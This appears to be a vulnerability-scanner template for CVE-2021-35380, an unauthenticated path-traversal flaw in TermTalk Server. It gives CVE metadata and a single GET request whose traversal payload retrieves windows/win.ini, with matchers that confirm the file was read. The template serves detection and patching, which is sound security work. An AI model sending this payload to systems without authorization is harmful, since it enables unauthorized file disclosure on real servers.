43 lines
1.3 KiB
YAML
43 lines
1.3 KiB
YAML
id: CVE-2021-35380
|
|
|
|
info:
|
|
name: TermTalk Server 3.24.0.2 - Local File Inclusion
|
|
author: fxploit
|
|
severity: high
|
|
description: |
|
|
TermTalk Server (TTServer) 3.24.0.2 is vulnerable to file inclusion which allows unauthenticated malicious user to gain access to the files on the remote system by providing the relative path of the file they want to retrieve.
|
|
remediation: |
|
|
Apply the latest patch or upgrade to a non-vulnerable version of TermTalk Server.
|
|
reference:
|
|
- https://www.swascan.com/solari-di-udine/
|
|
- https://www.exploit-db.com/exploits/50638
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-35380
|
|
- https://www.swascan.com/it/security-blog/
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
|
|
cvss-score: 7.5
|
|
cve-id: CVE-2021-35380
|
|
cwe-id: CWE-22
|
|
epss-score: 0.16223
|
|
epss-percentile: 0.95287
|
|
cpe: cpe:2.3:a:solari:termtalk_server:3.24.0.2:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 1
|
|
vendor: solari
|
|
product: termtalk_server
|
|
tags: cve,cve2021,termtalk,lfi,unauth,lfr,edb
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/file?valore=../../../../../windows/win.ini"
|
|
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- "bit app support"
|
|
- "fonts"
|
|
- "extensions"
|
|
condition: and
|